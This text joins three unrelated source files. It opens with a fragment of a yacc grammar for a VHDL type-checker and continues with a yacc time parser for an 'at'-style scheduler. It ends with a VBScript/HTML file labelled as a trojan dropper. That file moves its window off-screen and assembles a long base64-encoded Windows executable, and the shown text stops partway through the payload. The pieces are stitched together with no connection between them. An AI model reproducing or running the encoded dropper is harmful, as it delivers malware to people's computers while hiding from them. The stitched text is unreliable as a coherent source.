$3->datatype()) && !($1->isError() || $3->isError()) ) { errmsg(" different types on left and right side of 'xnor' operator"); $$= new Type(ErrorN,ErrorD); } else $$= $1; } | relation { $$= $1; if( $$->isBool() ) } ; andexpr : andexpr AND relation { if( $1->datatype() != $3->datatype() && !($1->isError() || $3->isError()) ) { errmsg(" different types on left and right side of 'and' operator"); $$= new Type(ErrorN,ErrorD); } else $$= $1; } | AND relation { $$= $2; } ; orexpr : orexpr OR relation { if( $1->datatype() != $3->datatype() && !($1->isError() || $3->isError()) ) { errmsg(" different types on left and right side of 'or' operator"); $$= new Type(ErrorN,ErrorD); } else $$= $1; } | OR relation { $$= $2; } ; xorexpr : xorexpr XOR relation { if( $1->datatype() != $3->datatype() && !($1->isError() || $3->isError()) ) { errmsg(" different types on left and right side of 'xor' operator"); $$= new Type(ErrorN,ErrorD); } else $$= $1; } | XOR relation { $$= $2; } ; relation : shift_expression { $$= $1; } | shift_expression relational_operator shift_expression { if( ($1->datatype() != $3->datatype()) && !($1->isError() || $3->isError()) ) { errmsg(" different types on left and right side of relation operator"); $$= new Type(ErrorN,ErrorD); } else { $$= new Type(UnknownN,Bool); } } ; relational_operator : '=' | NEQ | '<' | LE | '>' | GE ; shift_expression : simple_expression { $$= $1; } | simple_expression shift_operators simple_expression { if( !$3->isInt() ) { $$= new Type(ErrorN,ErrorD); errmsg(" expecting an integer"); } else $$= $1; } ; shift_operators : SLL | SRL | SRA | SLA | ROL | ROR ; simple_expression : terms { $$= $1; } | sign terms { $$= $2; } ; sign : '+' %prec MED_PRECEDENCE | '-' %prec MED_PRECEDENCE ; terms : term { $$= $1; } | terms adding_operator term { $$= $1; } ; adding_operator: '+' | '-' | '&' ; term : term multiplying_operator factor { $$= $1; } | factor { $$= $1; } ; multiplying_operator : '*' | '/' | MOD | REM ; factor : primary { $$= $1; } | primary EXPON primary { $$= $1; } | ABS primary { $$= $2; } | NOT primary { $$= $2; } ; primary : name { Type *t= search(table,$1); if( t->isArray() ) $$= new Type(t->nametype(),t->Subtype()); else $$= t; } | attribute_name {$$= $1; } | literal { $$= $1; } | aggregate { $$= $1; } | qualified_expression { $$= $1; } | allocator { $$= $1; } | '(' expression ')' { $$= $2; } ; allocator : NEW mark allocator1 { $$= search(table,$2); } | NEW mark mark allocator1 { $$= search(table,$2); } | NEW qualified_expression { $$= $2; } ; allocator1 : | gen_association_list ; qualified_expression : mark '\'' '(' expression ')' { $$= $4; } | mark '\'' aggregate { $$= $3; } ; name : mark { $$= $1; } | name2 { $$= $1; } ; mark : ID { $$= $1; } | selected_name { $$= $1; } ; selected_name : mark '.' suffix { pathname= $1; $$=$3; } ; name2 : name3 { $$= $1;} // | attribute_name { $$= $1; } ; name3 : STRLIT { } | insl_name { $$= $1; } ; suffix : ID { $$= $1; } | CHARLIT { } | STRLIT { $$= $1; } | ALL { fileattr= "all";} ; /* Lots of conflicts */ attribute_name: mark '\'' idparan { Type *t=search(table,$1); if( !t->isError() ) $$= checkattr(t,$3); else $$= t; } | name2 '\'' idparan { Type *t=search(table,$1); if( !t->isError() ) $$= checkattr(t,$3); else $$= t; } | name signature '\'' idparan { Type *t=search(table,$1); if( !t->isError() ) $$= checkattr(t,$4); else $$= t; } ; idparan : ID { $$= $1; } | ID { $$= $1; } '(' expression ')' | RANGE { $$= "range"; } | RANGE '(' expression ')' {} ; insl_name : mark gen_association_list { $$= $1; } | name3 gen_association_list { $$= $1; } ; literal : INT { $$= new Type(UnknownN,Int); } | REAL { $$= new Type(UnknownN,Real); } | BASEDLIT { $$= new Type(UnknownN,Enumeration); } | CHARLIT { $$= new Type(UnknownN,Enumeration); } | BITLIT { $$= new Type(UnknownN,Enumeration); } | VNULL { $$= new Type(UnknownN,UnknownD); } | physical_literal_no_default { $$= $1; } ; physical_literal : ID { Type *temp= search(table,$1); if( temp->datatype() != Physic ) errmsg("expecting a physical type"); else $$= temp; } | INT ID { Type *temp= search(table,$2); if( temp->datatype() != Physic ) errmsg("expecting a physical type"); else $$= temp; } | REAL ID { Type *temp= search(table,$2); if( temp->datatype() != Physic ) errmsg("expecting a physical type"); else $$= temp; } | BASEDLIT ID { Type *temp= search(table,$2); if( temp->datatype() != Physic ) errmsg("expecting a physical type"); else $$= temp; } ; physical_literal_no_default : INT ID { Type *t= search(table,$2); if( !t->isPhysic() ) { errmsg(" expecting a physical type"); $$= new Type(ErrorN,ErrorD); } else $$= new Type(UnknownN,Physic,Int); } | REAL ID { $$= new Type(UnknownN,Real); } | BASEDLIT ID { $$= new Type(UnknownN,Enumeration); } ; aggregate : '(' element_association ',' elarep ')' { if( ($2->datatype() != $4->datatype()) && !($2->isError() || $4->isError()) ) { $$= new Type(ErrorN,ErrorD); errmsg(" wrong types between '(' and ')'"); } else $$= $4; } | '(' choices ARROW expression ')' { if( $2->isUnknown() ) $$= $4; else if( ($2->datatype()==$4->datatype()) && !($2->isError() || $4->isError()) ) $$= $2; else errmsg(" different types onleft and right sides of '=>' "); $$= new Type(ErrorN,ErrorD); } ; elarep : element_association { $$= $1; } | elarep ',' element_association { if( ($1->datatype() != $3->datatype()) && !($1->isError() || $3->isError()) ) { $$= new Type(ErrorN,ErrorD); errmsg(" wrong types between '(' and ')'"); } else $$= $1; } ; element_association : expression { $$= $1; } | choices ARROW expression { if( $1->isUnknown() ) $$= $3; else if( ($1->datatype()==$3->datatype()) && !($1->isError() || $3->isError()) ) $$= $1; else errmsg(" different types onleft and right sides of '=>' "); $$= new Type(ErrorN,ErrorD); } ; choices : choices '|' choice{ if( $1->isUnknown() ) $$= $3; else if( ($1->datatype()==$3->datatype()) && !($1->isError() || $3->isError()) ) $$= $1; else errmsg(" different types onleft and right sides of '|' "); } | choice { $$= $1; } ; choice : simple_expression { $$= $1; } | discrete_range1 { $$= $1; } | OTHERS { $$= new Type(UnknownN,UnknownD); } ; %% //extern char g_src_name[]; int yyerror( char* s ) { int token; // printf("ERROR\n"); // printf("Line %d: syntax error at ",linenumber); YYSTYPE yylval; while(token=yylex(&yylval)){ switch (token) { case ID: printf("%s\n",yylval.id); break; case INT: printf("%s\n",yylval.decimalit); break; case REAL: printf("%s\n",yylval.decimalit); break; case BASEDLIT: printf("%s\n",yylval.basedlit); break; case CHARLIT: printf("%s\n",yylval.charlit); break; case STRLIT: printf("%s\n",yylval.strlit); break; case BITLIT: printf("%s\n",yylval.bitlit); // fprintf(lg,"%s\n",yylval.bitlit); break; case '(': printf("(\n"); // fprintf(lg,"(\n"); break; case ')': printf(")\n"); // fprintf(lg,")\n"); break; case '*': printf("*\n"); //fprintf(lg,"*\n"); break; case '/': printf("/\n"); // fprintf(lg,"/\n"); break; case '+': printf("+\n"); // fprintf(lg,"+\n"); break; case '-': printf("-\n"); //fprintf(lg,"-\n"); break; case ',': printf(",\n"); //fprintf(lg,",\n"); break; case '.': printf(".\n"); //fprintf(lg,".\n"); break; case ':': printf(":\n"); //fprintf(lg,":\n"); break; case ';': printf(";\n"); //fprintf(lg,";\n"); break; case '<': printf("<\n"); //fprintf(lg,"<\n"); break; case '=': printf("=\n"); // fprintf(lg,"=\n"); break; case '>': printf(">\n"); //fprintf(lg,">\n"); break; case '\'': printf("\'\n"); //fprintf(lg,"\'\n"); break; case '[': printf("[\n"); // fprintf(lg,"[\n"); break; case ']': printf("]\n"); //fprintf(lg,"]\n"); break; case '|': printf("|\n"); // fprintf(lg,"|\n"); break; case '&': printf("&\n"); // fprintf(lg,"&\n"); break; case '\\': printf("\\\n"); //fprintf(lg,"\\\n"); break; #define WHAT(x) case x: printf("%s\n",#x); break; WHAT(ABS) WHAT(ACCESS) WHAT(AFTER) WHAT(ALIAS) WHAT(ALL) WHAT(AND) WHAT(ARCHITECTURE) WHAT(ARRAY) WHAT(ASSERT) WHAT(ATTRIBUTE) WHAT(VBEGIN) //FAIL IF USE BEGIN WHAT(BLOCK) WHAT(BODY) WHAT(BUFFER) WHAT(BUS) WHAT(CASE) WHAT(COMPONENT) WHAT(CONFIGURATION) WHAT(CONSTANT) WHAT(DISCONNECT) WHAT(DOWNTO) WHAT(ELSE) WHAT(ELSIF) WHAT(END) WHAT(ENTITY) WHAT(EXIT) WHAT(VFILE) WHAT(FOR) WHAT(FUNCTION) WHAT(GENERATE) WHAT(GENERIC) WHAT(GUARDED) WHAT(IF) WHAT(IN) WHAT(INITIALIZE) WHAT(INOUT) WHAT(IS) WHAT(LABEL) WHAT(LIBRARY) WHAT(LINKAGE) WHAT(LOOP) WHAT(MAP) WHAT(MOD) WHAT(NAND) WHAT(NEW) WHAT(NEXT) WHAT(NOR) WHAT(NOT) WHAT(NULL ) WHAT(OF) WHAT(ON) WHAT(OPEN) WHAT(OR) WHAT(OTHERS) WHAT(OUT) WHAT(PACKAGE) WHAT(PORT) WHAT(PROCEDURE) WHAT(PROCESS) WHAT(RECORD) WHAT(REGISTER) WHAT(REM) WHAT(REPORT) WHAT(RETURN) WHAT(SELECT) WHAT(SEVERITY) WHAT(SIGNAL) WHAT(SUBTYPE) WHAT(THEN) WHAT(TO) WHAT(TRANSPORT) WHAT(TYPE) WHAT(UNITS) WHAT(UNTIL) WHAT(USE) WHAT(VARIABLE) WHAT(WAIT) WHAT(WHEN) WHAT(WHILE) WHAT(WITH) WHAT(XOR) WHAT(IMPURE) WHAT(VNULL) WHAT(PURE) WHAT(RANGE) WHAT(SHARED) WHAT(LITERAL) WHAT(GROUP) WHAT(VREJECT) WHAT(INERTIAL) WHAT(UNAFFECTED) WHAT(XNOR) WHAT(SLL) WHAT(SRL) WHAT(SLA) WHAT(SRA) WHAT(ROL) WHAT(ROR) WHAT(ARROW) WHAT(EXPON) WHAT(ASSIGN) WHAT(NEQ) WHAT(GE) WHAT(LE) WHAT(BOX) default: YYABORT; } YYABORT; } } /* sdg.y:185: parse error before `}' */ SymTab *new_table(SymTab *Table) { Table->other_tab= new SymTab(); SymTab *temp= Table; Table= Table->other_tab; Table->header= temp; return Table; }
<gh_stars>0 %{ #include <time.h> #include <stdlib.h> #include <string.h> #include "parsetime.h" #define YYDEBUG 1 time_t currtime; struct tm exectm; static int isgmt; static int time_only; int add_date(int number, int period); %} %union { char * charval; int intval; } %token <charval> INT %token NOW %token AM PM %token NOON M<PASSWORD>IGHT TEATIME %token SUN MON TUE WED THU FRI SAT %token TODAY TOMORROW %token NEXT %token MINUTE HOUR DAY WEEK MONTH YEAR %token JAN FEB M<PASSWORD> JUN JUL AUG SEP OCT NOV DEC %token <charval> WORD %type <intval> inc_period %type <intval> inc_number %type <intval> day_of_week %start timespec %% timespec : time { time_only = 1; } | time date | time increment | time date increment | time decrement | time date decrement | nowspec ; nowspec : now | now increment | now decrement ; now : NOW ; time : hr24clock_hr_min | hr24clock_hr_min timezone_name | hr24clock_hour time_sep minute | hr24clock_hour time_sep minute timezone_name | hr24clock_hour am_pm | hr24clock_hour am_pm timezone_name | hr24clock_hour time_sep minute am_pm | hr24clock_hour time_sep minute am_pm timezone_name | NOON { exectm.tm_hour = 12; exectm.tm_min = 0; } | MIDNIGHT { exectm.tm_hour = 0; exectm.tm_min = 0; add_date(1, DAY); } | TEATIME { exectm.tm_hour = 16; exectm.tm_min = 0; } ; date : month_name day_number | month_name day_number ',' year_number | day_of_week { add_date ((7 + $1 - exectm.tm_wday) %7, DAY); } | TODAY | TOMORROW { add_date(1, DAY); } | year_number '-' month_number '-' day_number | day_number '.' month_number '.' year_number | day_number '.' month_number | day_number month_name | day_number month_name year_number | month_number '/' day_number '/' year_number ; increment : '+' inc_number inc_period { add_date($2, $3); } | NEXT inc_period { add_date(1, $2); } | NEXT day_of_week { add_date ((7 + $2 - exectm.tm_wday) %7, DAY); } ; decrement : '-' inc_number inc_period { add_date(-$2, $3); } ; inc_period : MINUTE { $$ = MINUTE ; } | HOUR { $$ = HOUR ; } | DAY { $$ = DAY ; } | WEEK { $$ = WEEK ; } | MONTH { $$ = MONTH ; } | YEAR { $$ = YEAR ; } ; hr24clock_hr_min: INT { exectm.tm_min = -1; exectm.tm_hour = -1; if (strlen($1) == 4) { sscanf($1, "%2d %2d", &exectm.tm_hour, &exectm.tm_min); } else { sscanf($1, "%d", &exectm.tm_hour); exectm.tm_min = 0; } free($1); if (exectm.tm_min > 60 || exectm.tm_min < 0) { yyerror("Problem in minutes specification"); YYERROR; } if (exectm.tm_hour > 24 || exectm.tm_hour < 0) { yyerror("Problem in minutes specification"); YYERROR; } } ; timezone_name : WORD { if (strcasecmp($1,"utc") == 0) { isgmt = 1; } else { yyerror("Only UTC timezone is supported"); YYERROR; } free($1); } ; hr24clock_hour : hr24clock_hr_min ; minute : INT { if (sscanf($1, "%d", &exectm.tm_min) != 1) { yyerror("Error in minute"); YYERROR; } free($1); } ; am_pm : AM | PM { if (exectm.tm_hour > 12) { yyerror("Hour too large for PM"); YYERROR; } else if (exectm.tm_hour < 12) { exectm.tm_hour +=12; } } ; month_name : JAN { exectm.tm_mon = 0; } | FEB { exectm.tm_mon = 1; } | MAR { exectm.tm_mon = 2; } | APR { exectm.tm_mon = 3; } | MAY { exectm.tm_mon = 4; } | JUN { exectm.tm_mon = 5; } | JUL { exectm.tm_mon = 6; } | AUG { exectm.tm_mon = 7; } | SEP { exectm.tm_mon = 8; } | OCT { exectm.tm_mon = 9; } | NOV { exectm.tm_mon =10; } | DEC { exectm.tm_mon =11; } ; month_number : INT { { int mnum = -1; sscanf($1, "%d", &mnum); if (mnum < 1 || mnum > 12) { yyerror("Error in month number"); YYERROR; } exectm.tm_mon = mnum -1; free($1); } } day_number : INT { exectm.tm_mday = -1; sscanf($1, "%d", &exectm.tm_mday); if (exectm.tm_mday < 0 || exectm.tm_mday > 31) { yyerror("Error in day of month"); YYERROR; } free($1); } ; year_number : INT { { int ynum; if ( sscanf($1, "%d", &ynum) != 1) { yyerror("Error in year"); YYERROR; } if (ynum < 70) { ynum += 100; } else if (ynum > 1900) { ynum -= 1900; } exectm.tm_year = ynum ; free($1); } } ; day_of_week : SUN { $$ = 0; } | MON { $$ = 1; } | TUE { $$ = 2; } | WED { $$ = 3; } | THU { $$ = 4; } | FRI { $$ = 5; } | SAT { $$ = 6; } ; inc_number : INT { if (sscanf($1, "%d", &$$) != 1) { yyerror("Unknown increment"); YYERROR; } free($1); } ; time_sep : ':' | '\'' | '.' | 'h' | ',' ; %% time_t parsetime(int, char **); time_t parsetime(int argc, char **argv) { time_t exectime; my_argv = argv; currtime = time(NULL); exectm = *localtime(&currtime); exectm.tm_sec = 0; exectm.tm_isdst = -1; time_only = 0; if (yyparse() == 0) { exectime = mktime(&exectm); if (isgmt) { exectime += timezone; if (daylight) { exectime -= 3600; } } if (time_only && (currtime > exectime)) { exectime += 24*3600; } return exectime; } else { return 0; } } #ifdef TEST_PARSER int main(int argc, char **argv) { time_t res; res = parsetime(argc-1, &argv[1]); if (res > 0) { printf("%s",ctime(&res)); } else { printf("Ooops...\n"); } return 0; } #endif int yyerror(char *s) { if (last_token == NULL) last_token = "(empty)"; fprintf(stderr,"%s. Last token seen: %s\n",s, last_token); return 0; } void add_seconds(struct tm *tm, long numsec) { time_t timeval; timeval = mktime(tm); timeval += numsec; *tm = *localtime(&timeval); } int add_date(int number, int period) { switch(period) { case MINUTE: add_seconds(&exectm , 60l*number); break; case HOUR: add_seconds(&exectm, 3600l * number); break; case DAY: add_seconds(&exectm, 24*3600l * number); break; case WEEK: add_seconds(&exectm, 7*24*3600l*number); break; case MONTH: { int newmonth = exectm.tm_mon + number; number = 0; while (newmonth < 0) { newmonth += 12; number --; } exectm.tm_mon = newmonth % 12; number += newmonth / 12 ; } if (number == 0) { break; } /* fall through */ case YEAR: exectm.tm_year += number; break; default: yyerror("Internal parser error"); fprintf(stderr,"Unexpected case %d\n", period); abort(); } return 0; }
<filename>Vbs/Trojan-Dropper.VBS.Inor.y<gh_stars>1-10 <script language=vbs> self.MoveTo 5000,5000 x="TVpQAAIAAAAEAA8A//8AALgAAAAAAAAAQAAaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" x=x&"AAEAALoQAA4ftAnNIbgBTM0hkJBUaGlzIHByb2dyYW0gbXVzdCBiZSBydW4gdW5kZXIgV2luMzINCiQ3" x=x&"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" x=x&"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" x=x&"AAAAAAAAAAAAAAAAAAAAAFBFAABMAQMAGV5CKgAAAAAAAAAA4ACPgQsBARsAQAAAABAAAADAAAAAFAEA" x=x&"ANAAAAAQAQAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAACABAAAQAAAAAAAAAgAAAAAAEAAAQAAA" x=x&"AAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAZBEBAEwBAAAAEAEAZAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" x=x&"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHQMAQAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" x=x&"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAABAAAAAAAAAABAAAAAAAAAAAAAAAAAAA" x=x&"gAAA4AAAAAAAAAAAAEAAAADQAAAAPgAAAAQAAAAAAAAAAAAAAAAAAEAAAMAAAAAAAAAAAEAEAAAAEAEA" x=x&"QAQAAABCAAAAAAAAAAAAAAAAAABAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" x=x&"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" x=x&"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" x=x&"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" x=x&"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" x=x&"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" x=x&"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/DAkCCNhd9Wn1FspMK+gAABQ7AAAAiAAA" x=x&"JgQACgaZ+/8EEEAACgZTdHJpbmdYCwDTLQf7HwQLOBxEA0iuWTZNTEAcGzh0B4Ms//8HVE9iamVjdP8l" x=x&"BKFAAIvAAPzk5NmToPigF/Sg8JBBBhns6ORBBhlk4NzYBhlkkNTQzMgZZJBBxMC8ZJBBBri0sCAnBxms" x=x&"DKGoTg4yyKQYFKGg0NzKR1ChQIAFkJXoA/bY3yVkw5BTi9hTFoPgARl02Hvf/oP4ARvA99gVf1vDUjgh" x=x&"O2/dvxxshcB0Cv8VRBoJCQHDsM3IJNsB6RcCSHUCs/3/IIsIhcl0MoXSdBhQicggTLB3sl1ZORmJI4kQ" x=x&"GDlmSzds61ExENBqd+6t+THnjQqJFQQQjBE0w98c//ZTVovyyoDjf4M9BJAigYvWi8M/3v1rMgyE23UN" x=x&"<KEY>" x=x&"wCJjBjeDP1qJ/9/+3z2D+QR9HGfjVznQdJJXicaJ13cJjXQx/<KEY>//fOk6ywYOup3IIPhA+/+" x=x&"p9kdMDjB+AKJwbgDSCnGKce3trX/<KEY>" x=x&"BDwgdu6AOyJ1C4B7AQUFg8MC6+Yz7YtButn2++tDPA4xKzUOLZQn+9Ar0wPqOyJ16DIY3/1thSZed7eL" x=x&"xovVFhZMi9+LP5ms+z4z9utRNzgyFTvDdgs9k93+ihOIFDdDRgp39WDhH8KFLpUtZ6m2XV+HH9r/LuuB" x=x&"xPj+//+L2ovwFehMhcLhL/z2dR5oBQEhjUQkBFBq/d/3fx/7i8iL1B8SOOseEayL+IvTi8cKtndvZQMI" x=x&"M3QIg34DTuvpUAiP4XjmPF+IEP83ZotD38ff/gRmPbDXcgYFs9d2B7tmJysSdDfe+LEHWQfQZolzbntI" x=x&"AEuDe3bD9LcYBQfHQxhsFVZkUxhB964d7IXbKAKYBl1murLXDfveaG8EWMceYolDEAQMsmnptm2NCVBv" x=x&"CAMUA0xeNl0a5DJ1DncBJG11BvY9vtYoQAONm6NRQdnZW/eLcwz7BA/rJmr8VkD+dqR5AQwH6wIiM9KJ" x=x&"Uwxazf07xePfYbRID5RRS7lrrXTsx9c4NwU4hN02ng1xkFaZMaZGDO1Nv7ACEBRGBC2x10sLSHQgAqO7" x=x&"4Y4u9AbwuBmAugEFuah08t3+x0YcwBSm6ycXQAIZJuSLZCjAAC5e2B25BiRMIPw2gH5PD4Syb7Xu5h7T" x=x&"aIAGUQdtjUZIHtrCCBW8DP8dr4n27oUXl4F+BJkPhcMkZv9OBCftdtvv/zYjzEAh5hMtgQRzAmPNWbe7" x=x&"akpQG/zKW4mfdY+54ldgjZZMT1Ig5FpI90vNbFGoNpZza4C8BhwBuf3GDihA6+9qAkkp0Lb3P3s9DfRI" x=x&"dXbrPY2GLMgI4S089xjWzzUUqPrb9kttdKAgDoH+wJMUdQv0drb5tutN9dLUdDnOsSXC1sDZF1DEMRAZ" x=x&"AopZqZ2FJSCP6Rqzh83CtK1GuGlT6gzeCNYJ593zbjPJusLGe/eKFggojYMKZxTl2tZ1YdOgGOFmEAYP" x=x&"7NNgzKm2xi7MUAf4YB9/FMSNU0hZvKgXxkQDSO3Gy+F7QuMJSASxdKnxu+mwD0lmg+kCipH/05tt4t/G" x=x&"GzPb6xc99JFPBz3rEccSkrsFu2doEUeLUKSmsacgSXxTVhT2d7XCn+WxL3cpZiU6CY7SU6EDCFYc9fLu" x=x&"lThjCiSznU/G2dv96xKB+yiQdAq4aWPG72tcXiBZx4jNweC+BRtoJ3CJ0T+rCGjzqt5o+I5f/zHbaZMI" x=x&"EgVYCEKJH6wGxwr34lxvUoPsFP+48NKJzwOZMdD8uQoa2zHS939ruvXxg8IwpRxDZfGHfQXGBBwt/+/u" x=x&"/0OIH0eLTCQUgfn/Jn4FuQYp2X4HAE//sNf/LbYgbIp6/4gHR0t19oPEGHDZQ2mD/8qYpGRruxUatmVQ" x=x&"92zrYr/MAPb2G3wMih5GmCB0+LUABi10YgTLy8/yK3RfJHh0Wlh0VTDU4OnedRMnEUhD2+u/vbua6wQF" x=x&"LYDrMBEJdyU5+Hchjam278B9AcAB2Cn75v7NdAlpff2/xLf9CUbrBtN+RXhDWyne60H+xTu2XcIgZb//" x=x&"AA8qdN9BrcBse2FyA0kgTJwH2EL3lxEFd9CAwwpXyVYEVVF4vX/VWTH2iTLXU4/AGKONBAgHBRJ3zFIj" x=x&"RgOKF3skC665hCw9uGmepYbDw3sO1jp4D2+i9SRzCZybbnQ1i3j49n/jFAN4cVAIK1AMOcp/IAEGKdFQ" x=x&"UfYNL1HTEP9QHJIEWVjr2ksjcRMtCCIBSAwqkNt4F28humgat/lAfmS1QDKBxPdouTta4NPKFmixP86p" x=x&"IAAMw1uE3Q+PNEzfjcbWwLP2/QG0LB148NIkDU8kAQqkHOTM3ZiC0esUGhUBDxtnsG7Ez1pb2y8wofzj" x=x&"m9ktDIAjtnDUMYjNIvbJig5B4X8wOCtPFKKxlA2M7Y5NdlMb5AYBrE+DwLfbxK8TS4TSE8TwFgxwC77b" x=x&"4V8PCMhkjwUQFwzDGNjQI/RcfgXA0weyARvfPr7B/1H8w7vDiquLS9i8UVKkpa3BD0lhWWBHW0NbgWkV" x=x&"uOYB/ltr8f+u3AIEixvr7TnUdB1biwuUDXZpw3RzEMcTe2U0Bw9wQ2L3HEl1HHXj71aztY23ZDaLViR2" x=x&"PJUHK7DrehccidgF6SFXlkYdrf8XuH7QhUMND7cPUYPHAvJmrwVbbOy+WS72RsNY9ikMdOBKhe5H/F9P" x=x&"uIpKB9jeOuwnA1ZyMmYJghe+JjbYbP6ec4kA4QSNtvs3ZwWJ8V7/4V7iYfDvgktLG7dT/XwDYPT+jeUQ" x=x&"7+pv9GSLGomoaQjHQQSdRolBDGQXbmLjiQpbn8MUDZyL3iyLQsNbw0AMJA4/soFQJVg4Q/ixLgQPd4sQ" x=x&"/1L4kxzdZnwM5PdkfwFk3PDW+BHo7HeAPRDsAXYRbPQmHscU3/rtDsUMg207zBsAu1AwVJ/ehSSbHeSz" x=x&"CFhnRQak2RcB4ARveN+HVwdQU7EoE6YZi0EBC/1/+4A56XQMBOt1DA++wEFB6wODwWDB7JMOc5szHZAN" x=x&"VFFd+O6d5OFZWbP9BPdABAbkXi7hOk4TAYE43iKFul+osRdIFHRu/DsKjzxLFNwVCDDUSPHSN/BmKysJ" x=x&"54tUJAxGBIE5n+1b4s7673o3aATpFHYpSm6pYPIojSLANtslPsUEKABYO6uJwlmy1vZ6ZAytCjq2hh7y" x=x&"AXYeFVAtCMFQYINfwzxUcIPRAs5dMOULTdkbU+CHm227iyg5aHgeNFLdEIt8fQvEahIozwBtoA33N/oF" x=x&"i29RXwTHRwSkKMGd1Ya/Ba9A/+NUDshkiAu4Y48mEYmQB0EIGke4hO4ZTuFTpWoIL5R529QSi0pMQgT8" x=x&"Tv0ZjtpqCH1TdP/RBmbtdsA3MMczTx8nZU34Z89dColtQgyDYAT9d6WPdysbDgjodILoomUvbRsDFOQQ" x=x&"JBKJEVKtY/fZjXC/lJXoRwi6Htd396ULiXAEtH4US4kKRN4EFTeBtzet6P/VE3/sXeukYLi79fmL6qe4" x=x&"jIs7BTBk3Ln/L9XDO/1+M4sE7kWJLaBQNwL/0KopYB1QGyUbzw1eodVB11wNtGhnx24yf81UoZwyD6Tx" x=x&"m922yovkh8oio8cFNc1X4mfNCRDwo8L72+AvYaNpiRWkwEE9GeDuoxgdxgUg/HXc+xOtrav5h8/f2BnA" x=x&"QOjht984X5JvFP93HAIgize5Cwi+7/C286WCycIMY9u7Jr57Wcr9Nb8kSvAoFoM/vDs01XoRixfdWBcP" x=x&"ELs1G7B172mABq1sgCpIbS8UwAqDPhkF6BabT7YVNAF2BXQi67vdbN0Q5BsXJItTELQQO7dtjLpWvRQG" x=x&"73wy43NxkDh1A/N8dAzIZWv1EDS+cBcUkHChsS8IizUBJQNWEbqDdTX7zV7pL6JXCpTgvaPGPufZWLan" x=x&"CSvpi4fSx7X2G4cjfvhJfA//BbpDYAwuJ0L4JliL7Jnk7taLEykZxwMNCCguAjcw0E5127sn0qeuuyMh" x=x&"QX8azELyEgyTthSj21gLSPxXc+vSQwD7tjaHehNK68Eie7pDCX4pCBca3It+JFDIa+D+AfmX3uiUWuxE" x=x&"Av4ng8AIWolQ/BejEGP44v+vyNDorKHT+JP5IGgQu3WBCZuJ8JhdGpzBD1eJO4NSwHV0wCSMTFpDyVvj" x=x&"Bd6GIVI6CnU6SgEFBAL2jQrLdAsDlxIE6+hCAN7bYotlWo7pLsPr4tkmnApCDZBXpNeErMUGf/KudQL3" x=x&"0ZnBnBhdiUbD8APmR1k/NWDLEBPMvuQKvMGDqYt5/P/8AfoOtt1O0HFtp4tOEhMRbSR4sa6lhAPK9Jvv" x=x&"a39DYUF8OxB0XDsI7yt8rWZ20qBybtRXG4Q34NOJzm78A0aYx/7HnrCBh0uaifpiA1MumGhnDlgPX4JP" x=x&"+BH5/cVFcInK6VCJyoML3D7/UlBTMf+3lBRED9ZauwY5COFT6Q8JA0HUdW/t/DnPEiBKdexLFG342B9b" x=x&"om6k/LlXAzdL6wiIwxHfxFDuRJwYifIyKlpbKrYBzoIz6bw47mRzDZDdiEpaifYhZv1YjSSU/+C7QznQ" x=x&"+m+7BsOPrtJoaWuL4YtX/K0L/1K6dwIBwlLB6qsmi3XuDGz/HznZdVhKdBXkBLoMS4PGtlLbBWbHCJ3i" x=x&"DwoEsnwLXwRag+LSIis4QQ0cvP0XOP11OgYQgeOrz8du0b3hBTgnXusjYOscQl23c2oGFVowEC0MB7gZ" x=x&"pfsQwesQDQJL1H/WMG/PUPhCkQ8CwwC4zcLPx6Ekzd43dDFT90PasKQy1xNQNZg8Y7RYCP9IQOZ+0doK" x=x&"W4h2FNBTB/+G3h1TXC2LWPxyJkp8GznafR944u3CKdOLfBm1fxEBHAjZ32KEHxHP6+WJ2evrEklqjY76" x=x&"<KEY>AS/<KEY>" x=x&"A0dMclLCG7kduyJPfQ4510DCa7rw2I38cAHqMlg52C+LHr2t5N7KjRQv9EiqAeZmEIw/l4sWien1e9MH" x=x&"oetbQE4x+4tP/FcqbmrQfkp4G4oGRjm1aBCJy9eibeUcGaYw0+VbrkZj7FqVawgX+Nqb8QqtRTuej9+6" x=x&"K9xMfkhvViODeDJ1HYPo14eNGxbCCZTgaMRYThU28UKJjXD8xqrrKHTdbbEgOzFo+q858XzXYIC10PFH" x=x&"yN8LrqbCuFd7ykSWBaf+p01vKcqaCjRZidpb6e5kBIZANJMOFKGvwEF/NLdrGVw9MOBTi2QKPTTWZtVR" x=x&"UvUsQb3ra91ebl5TipvUjaBAo/BSRnwRBjqdjYZVKKl+yzIAE9od8k9/56UDkvAWohR44mz5/60vNBhH" x=x&"ilYBPOolPAt0PjwMdLa3uMVTPIZePFB4PA8shm07s208EQeNsxgsQgH72he7Tn8K9hA36AtwHO1Z4uQ3" x=x&"COsoeBpug/ZsCSxuFTUQJ3uLxtsaoI7z618oEVQuChUttt14A1wuCEwuuhKuHPlaM/foXetBHRkhFRzq" 